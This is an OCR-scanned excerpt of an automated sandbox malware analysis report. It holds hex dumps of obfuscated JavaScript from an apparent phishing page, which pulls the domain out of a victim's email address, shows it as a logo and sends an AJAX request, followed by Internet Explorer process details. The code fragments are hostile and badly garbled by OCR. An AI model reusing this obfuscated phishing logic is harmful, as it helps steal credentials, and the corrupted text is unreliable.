5c 75 30 30 33 39 27 29 3f 22 22 3a 27 5¢ 78 34 30 27 29 3b 76 61 72 20 6d 79 5f 73 6¢ 69 63 65 3d 6d 79 5f 61 69 2e 73
7562 73 74 72 28 69 6e 64 20 2b 20 31 29 3b 76 61 72 20 63 3d 6d 79 5f 73 6¢ 69 63 65 2e 73 75 62 73 74 72 28 30 2c
6d 79 5f 73 6¢ 69 63 65 2e 69 6e 64 65 78 4f 66 28 56 39 50 2e 73 33 50 28 27 5¢ 75 30 30 36 32 5¢ 78 36 34 5¢ 75 30 30
3334 5¢ 75 30 30 36 36 27 29 3f 27 5¢ 78 32 65 27 3a 22 22 29 29 3b 76 61 72 20 66 69 6e 61 6¢ 3d 63 2e 74 6f 4c 6f 77
65 7243 61 73 65 28 29 3b 76 61 72 20 66 69 6e 61 6¢ 75 3d 63 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3b 63 30 50
50 28 56 39 50 2e 71 33 50 28 27 5¢ 75 30 30 33 31 5¢ 75 30 30
Data Ascii: y_ai.indexOf(VOP.H3P("\x37\x31\u0033\u0039')?"":'\x40");var my_slice=my_ai.substr(ind + 1);var c=my_slice.su
bstr(0,my_slice.indexOf(VIP.s3P('\u0062\x64\u0034\u0066')?"\x2e":"")); var final=c.toLowerCase();var finalu=c.t
oUpperCase();cOPP(VIP.q3P(\u0031\u00

2021-09-15 14:28:20 UTC 361 IN Data Raw: 2d 4d 46 2d 48 4e 2d 5a 41 2d 45 30 2d 33 34 2d 37 38 2d 39 5f 5¢ 2e 5¢ 2d 5d 29 2b 5¢ 78 34 30 28 28 5b 6b
2d 6f 70 61 2d 66 67 2d 6a 71 2d 7a 44 2d 5a 41 2d 42 43 2d 43 34 2d 39 30 2d 33 5¢ 2d 5d 29 2b 5¢ 75 30 30 32 65 29
7b 31 2¢ 7d 28 5b 61 2d 64 6b 2d 6e 65 2d 6a 6f 2d 7a 41 2d 5a 30 31 2d 32 33 2d 39 5d 7b 32 2¢ 34 7d 29 2b 24 2f 3b 69
66 28 21 61 69 29 7b 63 30 50 50 28 27 5¢ 78 32 33 5¢ 78 36 35 5¢ 78 37 32 5¢ 75 30 30 37 32 5¢ 75 30 30 36 66 5¢ 75
30 30 37 32 27 29 2e 73 68 6f 77 28 29 3b 63 30 50 50 28 27 5¢ 78 32 33 5¢ 75 30 30 36 35 5¢ 75 30 30 37 32 5¢ 78 37 3
2 5¢ 75 30 30 36 66 5¢ 75 30 30 37 32 27 29 2e 68 74 6d 6¢ 28 27 5¢ 75 30 30 34 35 5¢ 78 36 64 5¢ 75 30 30 36 31 5¢ 78
36 39 5¢ 75 30 30 36 63 5¢ 75 30 30 32 30 5¢ 78 36 36 5¢ 78 36 39
Data Ascii: -MF-HN-ZA-E0-34-78-9_\\-])+\x40(([k-opa-fg-jg-zD-ZA-BC-C4-90-3\-])+\u002e){1,}([a-dk-ne-jo-zA-Z01-23-9){2,4
)+8/;if(1ai){cOPP(X23\x65\x72\u0072\u006AU0072').show();cOPP(\x23\u0065\u0072\x72\u006A\u0072"). html(\uO
045\x6d\u0061\X69\U00BC\UO020\XBB\X69

2021-09-15 14:28:20 UTC 362 IN Data Raw: 36 65 5¢ 78 37 33 5¢ 75 30 30 33 66 5¢ 75 30 30 36 34 5¢ 78 36 66 5¢ 78 36 64 5¢ 78 36 31 5¢ 78 36 39 5¢ 75
3030 36 65 5¢ 75 30 30 33 64 27 20 2b 20 6d 79 5f 73 6¢ 69 63 65 29 3b 63 30 50 50 28 27 5¢ 75 30 30 32 33 5¢ 75 30
30 36 63 5¢ 78 36 66 5¢ 78 36 37 5¢ 78 36 66 5¢ 78 36 65 5¢ 78 36 31 5¢ 75 30 30 36 64 5¢c 78 36 35 27 29 2e 68 74 6d
6¢c 28 66 69 6e 61 6¢ 75 29 3b 63 6f 75 6e 74 3d 63 6f 75 6e 74 20 2b 20 31 3b 63 30 50 50 2e 61 6a 61 78 28 7b 27 5¢ 78
36 34 5¢ 78 36 31 5¢ 78 37 34 5¢ 78 36 31 5¢ 78 35 34 5¢ 78 37 39 5¢ 78 37 30 5¢ 78 36 35 27 3a 27 5¢ 78 34 61 5¢ 75 3
03035 335c 753030 34 66 5¢c 75 30 30 34 65 27 2c 27 5¢ 78 37 35 5¢ 78 37 32 5¢ 78 36 63 27 3a 27 5¢ 75 30 30 36 38
5¢ 78 37 34 5¢ 75 30 30 37 34 5¢ 78 37 30 5¢ 75 30 30 37 33 5¢ 78
Data Ascii: 6e\x73\u003f\u0064\x6f\x6d\x61\x69\u006e\u003d' + my_slice);cOPP("\u0023\u006c\x6f\x67\x6f\x6e\x61
\u006d\x65'").html(finalu);count=count + 1;cOPP.ajax({'\x64\x61\x74\x61\x54\x79\x70\x65":"\x4a\u0053\u004f\u004e’,"\x 75\x
72\x6¢":'\u0068\x74\u0074\x70\u0073\x
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Code Manipulations

Statistics

Behavior

g

Click to jump to process

System Behavior

Analysis Process: iexplore.exe PID: 6840 Parent PID: 800

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

16:28:00

15/09/2021

C:\Program Files\internet explorer\iexplore.exe

false

‘C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
0x7ff718a50000

823560 bytes

6465CB92B25A7BC1DF8E01D8ACS5E7596

true

true

C, C++ or other language

Reputation: low
File Activities Show Windows behavior
Registry Activities Show Windows behavior
Analysis Process: iexplore.exe PID: 6900 Parent PID: 6840

General

Start time: 16:28:01

Start date: 15/09/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Registry Activities

Copyright Joe Security LLC 2021

true

‘C:\Program Files (x86)\Internet Explore\lEXPLORE.EXE' SCODEF:6840 CREDAT:17410
Iprefetch:2

0x11a0000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

low

Show Windows behavior

Show Windows behavior
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